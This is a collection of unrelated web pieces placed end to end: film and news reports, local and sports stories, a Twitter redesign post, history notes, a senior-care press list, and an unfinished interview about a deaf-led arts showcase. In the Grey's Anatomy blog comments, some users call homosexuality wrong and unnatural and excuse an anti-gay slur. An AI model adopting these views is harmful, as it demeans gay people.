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This made-for-TV movie recounts the true story of Susan Wilson, a Louisiana housewife whose peace of mind was shattered by the unwelcome intrusions of a "trusted" friend. After moving next door to the affable Steve Glover (Jamey Sheridan), who was not only an above-suspicion family man but also a deacon in the Wilsons' church, Susan (Angie Harmon) and her husband Gary (Dale Midkiff) soon became irritated with Glover's unannounced drop-ins and unwarranted favors. Her suspicions aroused, Susan eventually discovered that Glover was spying on Susan with high-tech video equipment, recording her every move. Unfortunately, while voyeurism was regarded as a "nuisance" by the authorities, it was not officially a crime. Through Susan's indefatigable efforts, a law was passed in Louisiana in 1999, rendering illegal the sort of sordid activities indulged in by Glover -- legislation that would be ultimately adopted in nine other states. Filmed in Vancouver, Video Voyeur: The Susan Wilson Story was first telecast over the Lifetime cable network on January 21, 2002.
Kathleen Rowell
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Hearst Entertainment & Syndication
as Susan Wilson
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as Gary Wilson
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as Emily Wilson
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as Nancy Glover
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...the movie is so over-the-top and one-sided...that it's hard to ever really take it seriously.
Jun 25, 2004 | Rating: 2/4 | Full Review…
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Shocking story. I couldn't imagine going through this, much less coming out of it as strong as she did.
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May 22, 2019 / 2:57 AM / 2 months ago
Japan says U.S. curbs on auto imports would hurt global economy
FILE PHOTO: Japan's Chief Cabinet Secretary Yoshihide Suga attends a news conference at Prime Minister Shinzo Abe's official residence in Tokyo, Japan May 29, 2017. REUTERS/Toru Hanai/File Photo
TOKYO (Reuters) - Japan’s top government spokesman said on Wednesday that auto import restrictions by Washington would adversely affect the U.S. and global economies.
Chief Cabinet Secretary Yoshihide Suga told reporters that any trade steps should be taken in accordance with WTO rules.
He made the comment after Japan’s automakers’ lobby said on Tuesday it was dismayed by President Donald Trump’s declaration that some imported vehicles and parts posed a threat to U.S. national security, as the industry braces for a possible rise in U.S. tariffs.
Reporting by Kaori Kaneko; Editing by Chris Gallagher
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Summerland construction activity shows increase in 2019
Total value of building permits so far this year at $19,047,800
John Arendt
Construction activity in Summerland is busy this year, according to building permit statistics from the municipality.
The latest statistics, for the month of April, showed a total of 21 permits with a value of $1,772,000 issued during that month.
These include two single family dwelling permits with a value of $858,000, one carriage home with a value of $200,000, one farm or agricultural building worth $300,000, one garage or carport worth $43,000, one swimming pool worth $90,000.
READ ALSO: Summerland’s March building permits worth nearly $13 million
READ ALSO: Building permits in Summerland show increase from last year
The permits showed one residential addition or access worth $95,000 and six residential renovations worth a total of $186,000.
Last year in April, 25 building permits with a value of $3,864,000 were issued in Summerland.
However, the total building permit activity in the first four months of this year is the highest in the past five years.
From January to April, 78 building permits with a value of $19,047,800 have been issued.
During the same period in 2018, 65 permits with a value of $8,431,000 were issued.
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Trio of endangered owls hatch at B.C. breeding program
Saskatoon police officer resigns after drunken Remembrance Day sex assault
City of Revelstoke trying to fill 11 positions
Jobs are available in a variety of departments
Revelstoke cadet attends general training course
The course took place in Vernon and covers sports, drill, marksmanship and expedition skills
Revelstoke Library hosting National Geographic’s Adventurer of the Year
Jennifer Pharr Davis will be doing a public presentation July 20
Risk of thunderstorm this afternoon in Revelstoke
Roads and weather for July 15
WEB POLL: Do you think the city should contribute to the RevLab project?
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Tumbleweed Transportation Parents to Log On with SafeStop School Bus Tracking App This Fall
LOS ANGELES, April 04, 2016 (GLOBE NEWSWIRE) -- SafeStop, the fastest growing and industry-leading school bus tracking app, announced today that Southern California-based Tumbleweed Transportation, which specializes in providing customized safe and reliable school transportation to numerous Los Angeles area private and public schools, has signed up to provide the SafeStop app to its customers.
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Grand Lake suspends mandatory trash law
Tonya Bina
Sky-Hi Daily News
Grand County, Colorado
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A mandatory trash-removal ordinance adopted in the town of Grand Lake has been suspended.
Town board members voted unanimously Monday to place a moratorium on enforcement of the new law, which required every town residence to have trash service. The moratorium could last until Nov. 1 or longer.
The main reason for suspending the law is its dependence on county transfer station plans, officials said.
Grand County’s waste transfer station location is still an unknown, resulting in undefined financial implications for a Grand Lake trash service, the ordinance reads. Not knowing where the trash will be hauled makes it difficult for the town to seek requests for proposals from trash haulers.
In light of the great number of letters, phone calls and visits in opposition to the trash law since its adoption, the town’s resolution establishes a moratorium directing the town to form an ad hoc committee made up of concerned citizens willing to review the trash program and “suggest amendments” to the trash law.
The mandatory trash law originally was intended to go into effect by summer.
In correspondence that has flooded the town, many citizens of the community are opposing mandatory trash service for its burden to part-time homeowners, who lack the need for year-round service.
– Tonya Bina can be reached at 887-3334 ext. 19603 or e-mail tbina@skyhidailynews.com.
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Rhode Island rolls past Southern Miss 75-43
HATTIESBURG, Miss. (AP) Hassan Martin scored 15 points on 7-of-8 shooting and Rhode Island rolled to a 75-43 victory over Southern Miss on Saturday night.
The Rams (5-2) shot 55.8 percent from the field, with 19 assists on 29 field goals. Jared Terrell had 12 points and E.C. Matthews added eight with five assists. T.J. Buchanan, Jarvis Garrett and Earl Watson each chipped in nine points for Rhode Island.
Southern Miss (4-3) was held to 15-of-38 shooting (39.5 percent) and committed 23 turnovers. Shadell Millinghaus led the Golden Eagles with 13 points and Matt Bingaya contributed 11.
Rhode Island jumped out to an early 14-5 lead as Martin hit two jumpers and a layup. A 13-4 surge sparked by two dunks and a three-point play from Watson made it 35-17 at halftime.
Southern Miss couldn't pull closer than 12 in the second half and trailed 53-31 after Garrett's 3-pointer with 10:57 left.
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The Return of Dr. Burke...
...in picture form.
If you have seen the previews for tonight's new episode of Grey's Anatomy then you will have seen Christina getting all upset upon seeing a newspaper article about Dr. Burke receiving some kind of prestigious award.
Isaiah Washington's representatives have commented that he was "more than a little surprised that ABC used his likeness in a promo... and indeed advanced his character's storyline." By surprised, they mean pissed off, as the representative also commented that, "Mr. Washington's attorney has contacted the Screen Actors Guild and ABC as to the appropriateness of that action."
I get that Washington is still annoyed about the whole being fired thing, but I honestly don't think that complaining about this will at all help his image.
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ImeanseriouslyOMFG
Dude he should be happy that he is even getting a mention on the show cos he was fired for goodness sake he didn't just leave on his own. and for him to get in touch with SAG and ABC i mean seriously WTF someone is over freaking reacting.
YourFaveCupcake
I know! Has he even been anywhere?! You can't diss gay people in Hollywood, a-hole. He should just chill out and be happy that no one vomitted on his homophobic face!
May 9, 2008 2:32AM EDT
Since Grey's clearly has the rights to his character, Dr. Burke, the coincidence is just uncanny! Isaiah needs to look again, because I'm fairly certain it's BURKE'S likeness that has been used!
As far as I'm concerned... Isaiah who??
BlueJeansJane
May 9, 2008 11:23AM EDT
What I really hate about the whole Dr. Burke thing is that they've made him villian since Isaiah left the show. Isaiah made one really inappropriate comment and now he's a black sheep. So many famous people have made mistakes and they get a second chance. Some of the most famous and respected rappers such as Eminem have said the forbidden "F word" And Jay Leno makes fun of gays on practically a nightly basis. Why aren't they being ostracized? We should be much more enraged about the light prison sentences given to pedophiles.
lauraclay
May 9, 2008 12:50PM EDT
Did anybody else find it ironic that the story alongside Burke's was two gay lovers?
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haha, lauraclay...very funny!@BlueJeans - The thing is...it was more than once. Then, after everything had cooled down and blowed over, he made that very awkward statement in public after the Emmys. I wouldn't quite say that he's a black sheep...he has gotten multiple jobs since (Bionic Woman, movies), so perhaps just among the Grey's cast.I agree that you should not lose your career over a single mistake, especially if you take the proper steps to correct it (and it seems that he has; he has apologized, filmed PSAs, etc.), but I actually do applaud Grey's for not accepting that kind of behavior.There certainly are other things to be enraged about as well, but we have to start somewhere...
I can't honestly say I miss Burke. Is that wrong? He was great, but I kind of like that his disappearance forced Derek and Sloan to communicate again. Plus, I think I had quite enough of Christina's battle accepting love. I like her as just flat out cranky!!
But he should chill out about his likeness. I think it's nice that they even still acknowledge his character. It's a tribute in a sense.
XcookiemonsterX
How can Isaiah Washington be annoyed that they continued his characters story line? I mean They can hardly expect us to belive that Burk would just fade away - he was supposed to be the best cardio surgeon. And what about Christina? Shes hardly just going to drop the whole left at the alter thing and never mention it again!
McDreamy
May 10, 2008 9:12AM EDT
Does saying f** make someone a homophobic? I mean I have lot's of friends that say f** and they are all lefty liberals that are the total opposite of homophobic.
kayla_poo
May 11, 2008 3:34PM EDT
Not trying to be racist, but i wonder how many white people had to take counseling back in the days for the way they treated blacks. Isaiah makes a comments about homosexuality and now is being treated this way. Why should the guy lower his standard to make room for something he does not believe in. While i don't approve with his comments, on an humanity level, i can't say i totally disagree. If homosexuality was anything good they would not have to take offense to this degree. It is wrong plain and simple. Nothing will make it right, not even cute words. Give Isaiah another chance, he is just human. Love T.R.Knight, hope you find the right way someday. Blessing Grey's Anatomy Cast
princessesj27
Totally agree with Kayla poo. Loved Isaiah in grey's and how he put up with christina for so long is beyond me. (love christina) aint homophobic but I don't think homosexuality is natural either, he shouldn't have called anyone names though. Miss him immensely.
Hope all the cast members continue to do well, during and after the show.
joytodaworld
whoa what did i miss? i didnt know why he wasnt in any of the new episodes? was he fired:O? for saying what?
jadelikestone
Sep 19, 2008 2:03AM EDT
I really like the couple-Burke and Cristina in GA. Isaiah Washington had shaped the character Dr.Preston Burke succefully. In that case, I can understand what Isaiah Washington annoyed is right. I think all the characters in GA's new season can disguss and talk about the person-Burke, but they had better not to post his image on any bulletins or boards.
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New Twitter: first impressions
Last night (Thursday 8th December) Twitter announced and began rolling out a brand new design for web, iPhone and Android applications, as well as Tweetdeck. Here’s a shot of how our Sign-Up.to Twitter page looks this morning on the web, compared with the old style.
New Twitter
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So what do we think? Well, on first glance it appears that they’ve just flipped the design round – trending topics used to sit on the right, they now sit on the left etc. On closer inspection it feels a lot tidier though; we no longer see profile pictures of our followers, just a link to view them. Images are still present (though smaller) and photos posted alongside a tweet now sit quite nicely on the feed. As well as this, the ‘similar to you’ section is smaller and sits lower in the page. Our tweets, following and follower information still remains, but sits at the very top of the page.
Overall it feels that they’ve tried to make the design more concise and slick, and I think this is where they’ve succeeded. The design is smart, allows me to see everything I want to see, and explore further if I need to. There are just three links at the very top of the page now – home, connect and discover. ‘Home’ is where we see the usual timeline of follower tweets, ‘Connect’ is where ‘the conversation begins‘ and ‘Discover’ is the newest tab to arrive. ‘Discover’ not only displays the trending topics we’re all so used to seeing, but also displays a story section – taking the most popular topics that one step further. The stories give a brief summary as to why a topic might be trending, links to a news article and gives users the chance to view tweets about that topic. This is where Twitter have excelled themselves, they recognise that social media is fast becoming the place that people see news first. The ‘Discover’ page takes advantage of this and makes those topics even more prominent than before.
The new designs we’re seeing on web, mobile applications and desktop are consistent – the Tweetdeck update is particularly prominent and the blue colour scheme already seen on mobile has come into play. Econsultancy reported that Twitter want the user experience to be consistent no matter where or how the message is being sent, and I think this demonstrates how their brand has evolved. They recognise that their platform has become global and have responded.
While the rollout has begun, some of the Sign-Up.to team are yet to see the new look in their personal accounts. Over to you all, what do you think of the new look? Are you impressed with the mobile and Tweetdeck updates? We’d love to hear what you think and how you think this redesign will aid Twitter’s growth in the new year. Get in touch with us in the comments box below.
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Nice to see Twitter upping its game. With so many businesses checking out G+ too, they were in need of an upgrade. Really looking forward to seeing the update on my account.
Thanks for the info :)
Hi Katie, thanks for your feedback - the new look is quite refreshing and it'll be interesting to see what people think of it as and when it arrives in their account.
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France in the Age of Nation-States
by Camille Arnett and Emily Vetne
The Dreyfus Affair
Captain Alfred Dreyfus (1859-1935) was accused of passing secret information to the German Army. His trial in 1894 became one of the most influential in French history, highlighting the existing anti-semitism in France that flared up when a man of Jewish descent was put to trial. The trial deepened the rift between political parties and ideologies, including the rising socialism. He was eventually pardoned.
The Paris Commune
In 1871, a municipal government was elected to run Paris separately from the rest of the country. Showed the importance of personal property and the triumph of a centralized city-state. Rooted in anarchism.
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Franco-Prussian War
Third stage in German unification. Bismark sought to unify all Germans by creating a common enemy in France. Germany defeated France easily. Enabled the southern states of Germany to join the already established Northern German Confederation. Napoleon III is captured after this war. Ended in Treaty of Frankfurt in 1871.
Third French Republic was created after France was defeated in the Franco-Prussian war. Its existence was threatened by the Paris Commune. Its constitution was established in 1875 and made it officially a republic (government type).
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Caledonia clutches 2008 FA Trophy
Randy Bando (ttproleague.com)
Neal and Massy Caledonia AIA were crowned the 2008 FA Trophy Champions on Wednesday night following an extra time thriller at the Marvin Lee Stadium against former winners W Connection.
WASA flow into FA Trophy ‘semis’
Joel Bailey (T&T Newsday)
WASA, the 2006 Trinidad and Tobago Football Federation (TTFF) FA champs, progressed to the semi-final round of this year’s event after inflicting a 5-2 spanking on Copious Suns in the second of back-to-back quarter-final matches at the Marvin Lee Stadium, Tunapuna.
W-Connection booted out FA Trophy
ANTON PIERRE of the Defence Force powered home a free-kick from atop the penalty box four minutes from the end of the match to knot up a dull FA Trophy quarter-final at one-all against Vibe CT 105 W. Connection on Friday at the Centre of Excellence, Macoya.
Joe Public ousted from FA Trophy
TWO DAYS after they relinquished their hold on the Toyota Classic Cup, the “Eastern Lions” Joe Public also surrendered the Trinidad and Tobago Football Federation (TTFF) FA Trophy, as they were knocked out in the second round of this year’s competition on Sunday.
Stars shine in FA Trophy series opener
Gregory Trujillo (T&T Guardian)
Newly-crowned T&T Professional Football League champion team North-East Stars began defence of the FA Trophy in fine style on Sunday, defeating fellow PFL side Defence Force 3-1 at the Larry Gomes Stadium in Malabar, Arima.
Jabloteh win FA Trophy
Ian Prescott (T&T Express)
A GLANCING header from young striker Jason Marcano won CL Financial San Juan Jabloteh their second FA Trophy title when they edged Defence Force 2-1 in the final on Wednesday night at the Marvin Lee Stadium, Macoya.
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9/28/2018 You may be hovering too much over your aging parents. (By MarketWatch) Choose your battles carefully and don’t sweat the small stuff, advises Frank Samson, CEO of Petaluma, Calif.-based Senior Care Authority, a franchise which provides senior care consulting.
9/10/2018 CEO Frank Samson featured on the Public Broadcasting Service’s prestigious website talking about how to avoid becoming a Helicopter Child to your parents. Choose your battles carefully and don’t sweat the small stuff, advises Frank Samson, CEO of Petaluma, Calif.-based Senior Care Authority, a franchise which provides senior care consulting. But children of aging parents must speak up “when their parents’ safety is at risk,” he said.
8/13/2018 Firms catch up on data privacy. Frank Samson hopes the California law will help prevent what he sees as troubling marketing tactics by some in his industry taking care of senior citizens. When people inquire about senior care companies online, it's sometimes on sites run by brokers rather than care providers themselves. "It may be in the fine print, or it may not be: We're going to be taking your info and sending it out to a bunch of people," says Samson, founder of Petaluma, California-based Senior Care Authority®.
8/10/2018 New Law May Force Data Practices Revelations (By The Associated Press). “It may be in the fine print, or it may not be: We’re going to be taking your info and sending it out to a bunch of people,” says Frank Samson, founder of Petaluma, California-based Senior Care Authority®.
8/08/2018 Hastings Tribune About New California Law. Frank Samson hopes the California law about consumers' privacy will help prevent what he sees as troubling marketing tactics by some in his industry, taking care of senior citizens.
8/08/18 New Law May Force Small Businesses to Reveal Data Practices. Frank Samson hopes the California law will help prevent what he sees as troubling marketing tactics by some in his industry taking care of senior citizens. When people inquire about senior care companies online, it's sometimes on sites run by brokers rather than care providers themselves. "It may be in the fine print, or it may not be: We're going to be taking your info and sending it out to a bunch of people," says Samson, founder of Petaluma, California-based Senior Care Authority.
8/02/2018 Frank Samson, CEO of Senior Care Authority® for Chicago FOX 32. Everybody's heard of helicopter parents, but Frank Samson, CEO of Senior Care Authority®, talks to us about how to avoid being a helicopter child.
7/25/2018 Senior Care Authority® of Houston North for KPRC Click2Houston. How to tell if you're a helicopter child to your aging parents, Senior care expert with Senior Care Authority, Gary Blizzard shares his experience on the Houston TV.
7/17/18 Senior Care Authority® Named Fast-Growing Franchise. Senior Care Authority®, recently named a top emerging brand, continues to receive recognition as a world-class company in the senior care consulting industry. For the second consecutive year, Senior Care Authority exceeded its growth goals, securing its place on Entrepreneur magazine’s Fastest Growing Franchise list for 2018.
7/17/18 Senior Care Authority® Named Top Emerging Franchise. Senior Care Authority®, one of the nation’s fastest-growing senior care consulting companies continues to receive national recognition from industry leaders. Franchise Business Review has placed the national network of highly-trained senior care experts on three of its lists for the Top Emerging Franchises, Top Low-Cost Franchises, and its acclaimed Top Franchises for Women ranking.
7/06/2018 Don't be a "helicopter child" (by San Antonio Living). We all know someone who is a "helicopter parent", but studies show we are starting to see more "helicopter children". Hear about the ways adult children are micromanaging their aging parents and ways you can avoid becoming a "helicopter child".
July/2018 Frank Samson for Franchise Dictionary Magazine. After going through his own experience with aging parents, Frank Samson recognized a need for a very important service. “Senior care can be a daunting task for families,” says Samson. “Adult children need guidance when it comes to the care of aging parents.”
12/2/15 Senior Care Authority of Phoenix Receives Rare Certification for Expertise in Preventing Hospital Readmissions As a Nationally Certified Readmission Prevention Professional (NCRP), Steve Gilbert has demonstrated expertise in Hospital Readmissions and the Affordable Care Act (ACA) and “is a true pioneer in patient-centered care,” said Josh Luke, founder and president of the National Readmission Prevention Collaborative. The National Readmission Prevention Collaborative announced today that Steve Gilbert, owner of Senior Care Authority of Phoenix Metro, has earned the rare distinction of Nationally Certified Readmission Prevention Professional (NCRP). Gilbert is one of the first healthcare professionals in Arizona to receive this prestigious honor, held in high regard by leading acute hospitals, which now are penalized financially if patients are admitted unnecessarily to the hospital…
11/18/15 Senior Care Authority Now Serving Seniors Through New Phoenix Office With over 1,000 licensed assisted living locations in the Phoenix Metro area, finding the right residential care for a loved one can be a daunting task. Just ask Steve Gilbert. Based on the difficulties he experienced in searching for assisted living for his father, Gilbert opened a Senior Care Authority office serving the Phoenix Metro area. His mission: To be a trusted advisor to families seeking the best care and living options for their loved ones…
11/10/15 Senior Care Authority Expands its Services to Denver Brandy Randolph looks forward to becoming a trusted resource for seniors and their families through her new business, Senior Care Authority of Denver. Senior Care Authority provides hands-on assistance to seniors and families seeking the best living and care options, including independent living, assisted living, memory care, skilled nursing and residential care homes. Based on the difficulties…
8/19/15 Senior Care Authority Opens First Texas Office Seniors age 70 to 79 are the fastest growing population group in North Central Texas, according to the North Central Texas Council of Governments. So it’s no surprise that more and more adult children here are seeking care and living options for their elderly parents. In an effort to help guide them to the best care options for their loved ones, John Alagood has opened a Senior Care Authority office serving the Dallas-Fort Worth area. A Certified Senior Advisor with a background in…
7/31/15 Senior Care Authority Continues Expansion with 12th Franchise Operation Senior Care Authority today announced the addition of a new franchise operation in the Denver, Colo. area, the 12th franchise to come on board within the past seven months. Founded in 2009, the senior placement company began its franchise marketing efforts last fall and currently has offices in California, Texas, Arizona, Minnesota, Virginia and Colorado, with more offices starting in the Pacific Northwest and Southeastern U.S. within the next 30 days.
6/30/15 Senior Care Authority Expands with East Coast Office After retiring from a 29-year career with the Department of the Army, Cynthia Spencer-Bass fulfilled her lifelong dream of becoming an entrepreneur. She bought the Senior Care Authority franchise serving Northern Virginia and Washington, D.C., becoming the first East Coast franchisee for the Sacramento, Calif.,-based company, which also has offices in California, Arizona, Texas, and Minnesota.
6/16/15 Senior Care Authority Expands with New San Diego Office Encinitas Businesswoman Shirin Rejali matches families with the top senior care facilities in North San Diego County. Shirin Rejali has a passion for serving seniors. She began volunteering at an Alzheimer’s daycare center as a teenager after her grandmother was diagnosed with the disease…
3/26/15 Former fitness club executive re-engineering fitness for ages 50+. The 55+ market is the largest and fastest-growing segment of the population and the most under-served by the fitness industry. “The mainstream fitness business is still very youth-focused; it has been for many years,” said Martin Pazzani, CEO of Activate Brain & Body…
2/4/15 Top Dementia Expert Warns of Lewy Body Dementia on The Aging Boomers Teepa Snow discusses Lewy Body Dementia: how it differs from Alzheimer’s and Parkinson’s, its symptoms, treatment options, and the importance of getting an early diagnosis.
1/21/15 Senior Care Authority Expands with Opening of South Orange County Franchise San Clemente office matches families with the top senior living options in south Orange County, including independent living, assisted living, dementia and memory care, and residential care facilities.
1/8/15 The Aging Boomers Podcast Joins Boomeon The Aging Boomers can now be heard on Boomeon, the online community for Boomers. The podcast educates listeners on many of the physical, financial and mental health issues facing Boomers, their parents, and an aging population.
12/9/14 Senior Care Authority Expands in Bay Area with Contra Costa County Franchise Transitions with Care matches families with the top senior living options, including independent living, assisted living, Alzheimer’s and dementia care facilities.
12/3/14 Senior Care Authority grows with South Bay Area Franchise As Senior Care Authority franchisees, Los Gatos couple helps families find the best senior living options for their loved ones, providing personal and compassionate service throughout the whole transition process.
11/23/14 Senior Care Authority Appoints New Management, Expands Senior Care Services Senior placement company Senior Care Authority (SCA) has selected elder-care management expert Marcy Baskin to manage its North Bay operations. With Baskin’s appointment, the company begins rolling out new senior-care management services throughout its nationwide network.
1/2/14 Senior Care Authority Further Expands Placement Network in California and Florida Senior Care Authority Network (SCAnetwork) adds local Placement Agencies to help Families find Assisted Living and Dementia Care Locations with knowledgeable, full-service experts.
4/8/13 Senior Care Authority Conducting Informational Webinar on Senior Care Business Opportunities Online seminar will provide information on in-home care, senior move managers, senior placement and more. With the “silver tsunami” heating up, there continues to be a need for talented people who want to grow their own businesses while helping others.
2/28/13 An Upcoming Series on Dementia Announced on The Aging Boomers Radio Show With Alzheimer’s and other dementia-related diseases increasing at an alarming rate, “The Aging Boomers” continues its series of guest authors who discuss their experiences and expertise in this area. These interviews will not only preview their books but also help to educate family and professional caregivers on this growing epidemic.
2/26/13 Senior Care Authority Expands Network of Local Experts to Help Families Find Assisted Living or Dementia CareSenior Care Authority Network (SCAnetwork) has added senior placement experts in California, Colorado, Arizona, Oregon and New York to assist families whose loved ones need supervision or care. SCAnetwork Senior Placement Advisors are familiar with the assisted living and dementia care locations in their local communities.
12/10/12 Senior Care Authority Network (SCAnetwork) Adds Subscription Support Services for Senior Placement AgenciesThose that specialize in helping seniors find assisted living, residential and dementia care can utilize these support services on a subscription basis. AutoPlace®CRM, AutoMail® Newsletter SCANET® Referral Program and CareTalk® assist Senior Placement Agencies in their business operations and marketing efforts.
12/9/12 Cannabis Helps Seniors with Dementia, Depression, Arthritis, Cancer and Asthma Frank Samson, host of “The Aging Boomers” interviewed an attorney and physician to discuss the legal risks and medical benefits for seniors taking cannabis for medicinal use.
8/29/12 Senior Care Authority Network (SCAnetwork) Adds Members Providing Local Assisted Living and Dementia Care Placement Senior Placement Agencies in Illinois, Oregon, and Southern California, as well as new senior care start-ups in New York, Florida and Colorado, has become part of this growing network.
8/13/12 Teepa Snow, Renown Dementia Consultant and Educator Appears on “The Aging Boomers” Radio ShowShe provides an understanding of the various types of dementia, including Alzheimer’s, Vascular Dementia and Lewy Body to help Family Caregivers.
7/26/12 Senior Care Authority Network Adds Coaching to its Senior Placement Training Program In addition to the Online Training Program taught by industry professionals, participants have the option to continue with the Coaching Program as their businesses become operational. Combining the online training with actual situations is an important part of the learning process.
5/30/12 The Aging Boomers Radio Show Interviews Seniors who Discuss the Challenges and Solutions of Aging Two very knowledgeable seniors talk about their experience with assisted living, in-home care, and dementia online and radio.
4/30/12 Senior Care Authority Founder Speaks Out on Senior Placement and Assisted Living With the growth in assisted living, residential care homes and dementia care locations, senior residential placement services have an opportunity to provide a much-needed service to families.
4/24/12 Colorado Group Enters Senior Residential Placement Market And Becomes Member of SCAnetwork Colorado Senior Care Advisors took a step forward by joining SCAnetwork and assisting those needing help in locating assisted living, residential care homes and dementia care locations that best meet the senior’s needs.
3/13/12 Senior Care Authority’s Founders Earn CSA DesignationSenior Care Authority believe that education is the key to helping professionals work with seniors and their families more effectively. By successfully completing the only nationally accredited designation of its kind, the CSA course addresses the vital aspects of understanding seniors’ needs.
2/29/12 SCAnetwork Enhances Training in Senior Care SCAnetwork, a division of Senior Care Authority, provides training to those interested in starting their own senior residential placement business. The program has been updated to include instruction by several professionals in the industry as well as enhancing its subscription program for users.
1/27/12 Assisted Living and Nursing Home Differences Discussed by Senior Care Authority on KRON4TV Though staying at home is certainly the choice of the elderly, it may not be the safest or least costly choice. Does your loved one know how assisted living and nursing differ?
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From Wearside to Tyneside: Magpies sign Colback
By LJ Taylor on June 9, 2014 Sport
Last week’s transfer rumours look set to be confirmed with Sunderland midfielder, Jack Colback, signing for rivals Newcastle United.
Images hit Twitter this morning showing the back of a male at St James’ Park holding up a Newcastle shirt in typical ‘new signing’ fashion. The image, presumably taken by someone working at the stadium, was too far away to be sure of who the mystery player was – sending Toon fans into a frenzy.
Minutes later another picture hit the social networking site, this time screen-capped from Instagram, clearly showing the mystery player’s red hair – leaving no doubt in the mind of thousands of fans that Colback is now a Magpie.
It is expected that the club will officially announce the new arrival later today or tomorrow.
Colback will come to Tyneside on a free transfer after his contract with the Black Cats expired at the end of last season. Reports suggest that the Geordie boy, who has been a long time Newcastle fan, turned down £50,000 p/w wages offered by London club West Ham, to sign for his boyhood team.
The midfielder has been linked to the Magpies since the end of the season and will be the second of Newcastle’s summer signings, with Spanish youngster Ayoze Pérez last week ending the 501 day signing drought at St James’ Park.
Newcastle are also linked to Montpellier’s Remy Cabella, however negotiations for the young midfielder’s services will likely be halted after he was called up to the French World Cup squad after injuries to Franck Ribery and Clement Grenier last week. The team are also hoping to sign a senior striker, with Lyon’s Gomis currently speculated to be the team’s top target.
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Audiovisability’s ‘The Unheard World’ Comes to Brighton
Marcus Gordon
Shape speaks to Ruth Montgomery, Creative Director of deaf-led arts project Audiovisability, to find out more about their upcoming performance showcase “The Unheard World”…
Shape: We’re delighted that Audiovisability’s new showcase “The Unheard World” will be at Brighton’s Fabrica on 6 December! Could you tell us how you first developed ideas for Audiovisability, and the notions behind the showcase’s name?
Ruth Montgomery: Thank you! The name ‘Audiovisability’ comes from three separate words: ‘audio’ (sound/music), ‘vision’, and ‘ability’. Audiovisability highlights that deaf people can listen to, appreciate, and interpret music, particularly through its inherently visual nature.
Live concerts are often inaccessible to the deaf and hard of hearing communities, yet concerts advertised as ‘accessible’ run the risk of being over-simplified and unchallenging - often even missing out on crucial information about the music unless there is spoken dialogue to describe the features of the music beforehand.
I wanted Audiovisability to be a celebration of deaf arts in classical and modern music, using visual language and art to bring more access to the deaf community in an easily relatable way. I wanted to work with other deaf artists with finding ways of portraying the elements of music – rhythm, pitch, emotion, and more – whilst maintaining the integrity and sophistication of the music in a way that wasn’t over-simplified.
The first Audiovisability project, ‘The Elements of Music’ was designed to portray each musical element visually to increase understanding of how music works. Now our second project, ‘The Unheard World’, builds upon this with a wider theme, by exploring the richness of Middle Eastern and Sudanese cultures, as well as the experience of migration, deafness, identity and language from a deaf perspective.
You’ve mentioned previously that each of the art forms in the project fuse together, illustrating an “unheard world to be told to all”. Can you tell us a bit more about what this means?
British-Syrian pianist and composer, Waseem Kotoub, originally wrote ‘Stories of Syria’ for piano solo. When I saw him play the composition in Edinburgh, I was captivated by all the changes in tempo and dynamics, the emotions, and the range of motifs. It peaked my curiosity because I wanted to find out more about the composition and what Waseem’s thoughts and intentions were.
Waseem agreed to write a version for oud, flute, violin, viola, cello, and percussion. I felt that having an ensemble gave more potential for communication and team work, allowing each instrument to tell the story using its own personality. One of the movements, ‘Dance’, allows each instrument to come to the forefront of the performance one-by-one, so the audience can see and hear the singing qualities of the violin, the richness of the cello, and the exotic sounding oud.
I also wanted to use Waseem’s expertise to create a composition based on deaf culture, so took the opportunity to pair him with deaf textile artist Omeima Mudawi-Rowlings, to write a new composition based on her childhood experiences. Omeima’s story is deeply moving in that she was born hearing, but became deaf due to meningitis at the age of 4. Her life was changed, not only by finding herself in a new world of silence, but because her family had to make the decision to move from her homeland of Sudan to the UK in pursuit of specialist deaf education.
By working with Waseem and Omeima to analyse the music, explore the stories and emotion behind it, and bring it to life using an ensemble, BSL, and visual art, the performances become enriched, growing into something beautiful that can be ‘heard’ by all.
All of the artists involved are from various regions of the world: the UK, Syria, Iraq, the Middle East and the Arab-Sudanese area. How do you think this geographical diversity has shaped their respective creative responses to the theme?
‘The Unheard World’ focuses on three stories: ‘Stories of Syria’, which is about the civil unrest in Syria over the last 6 years, ‘Belonging’, which is about the early life of deaf professional textile artist Omeima Mudawi-Rowlings, and ‘Lawand’, the story of a 6-year-old asylum seeker who had to flee with his family from Iraq after the country became too dangerous for them to stay.
On a musical level, I was curious about how music from the Middle East differed to Western musical conventions, and Waseem was the perfect person to work with to gain this understanding. In turn, I learnt more about the beauty of Middle Eastern cultures, as well as the current conflicts and difficulties across many areas of the region.
The geographical diversity and experience of the other artists involved in this project has greatly enriched ‘The Unheard World’. Rachel Gadsden is a British artist who has a wealth of experience in the Middle East from working in and with people from the region. Rachel is in a unique position in that she can respond and appreciate live music whilst portraying its emotion visually through colour and shape.
Omeima Mudawi-Rowlings has brought her deeply personal experiences of the hearing and Deaf worlds and Sudanese and British cultures to the project in the form of ‘Belonging’. Both deaf and hearing people can deeply connect with ‘Belonging’ as it tells the emotional story of change and transition from hearing to deaf, the cultures of the East and West, and Omeima finding and accepting her unique identity.
‘The Unheard World’ also features highly talented musicians from Syria who have brought their expertise in Syrian and Middle Eastern musical practices and culture to the performance, creative sign by deaf actress Nadia Nadarajah, photography by Stephen Iliffe, and BSL storytelling by Layla Fitzgerald-Woolfe.
This fusion of cultures – deaf and hearing; Middle Eastern and Western – has been a positive influence across the project, not least because of the learning curves it has brought to everyone involved!
“The Unheard World” will feature “sign language storytelling”: how do you see the experiences of the showcase differing between BSL users and non-BSL users?
Society sees British Sign Language as ‘silent bubble’; those who don’t know a visual language would struggle to understand what is being said, particularly as Sign Languages can describe several things through just one sign, unlike spoken language which requires many more words. Yet from my perspective, Sign Language is visually very loud, emotional, and highly descriptive.
I had the idea some years ago to start pairing BSL and music together – firstly by recording a story told in BSL, and then composing music based on the features of the signing (a long process involving hours of watching and analysing each movement, then writing each note to its timing). Sign Language and music work very well together - BSL naturally features tempo, dynamics, rhythm, emotion, and even pitch – which is why BSL storytelling with music accompaniment has been such a success.
‘The Unheard World’ features a BSL story written and told by 12-year-old Layla Fitzgerald-Woolfe. The story is about a deaf 6-year-old asylum seeker from Iraq, named Lawand, who I mentioned earlier. The story is also told through photos, captions, and music composed by myself for Syrian Oud, so fluency in BSL isn’t crucial for this. However, I do encourage people to watch Layla’s expressions and emotion plus the rhythm of the BSL as this will enhance the experience further.
Lastly, how do you think the showcase will challenge the way the audience perceive deaf creativity?
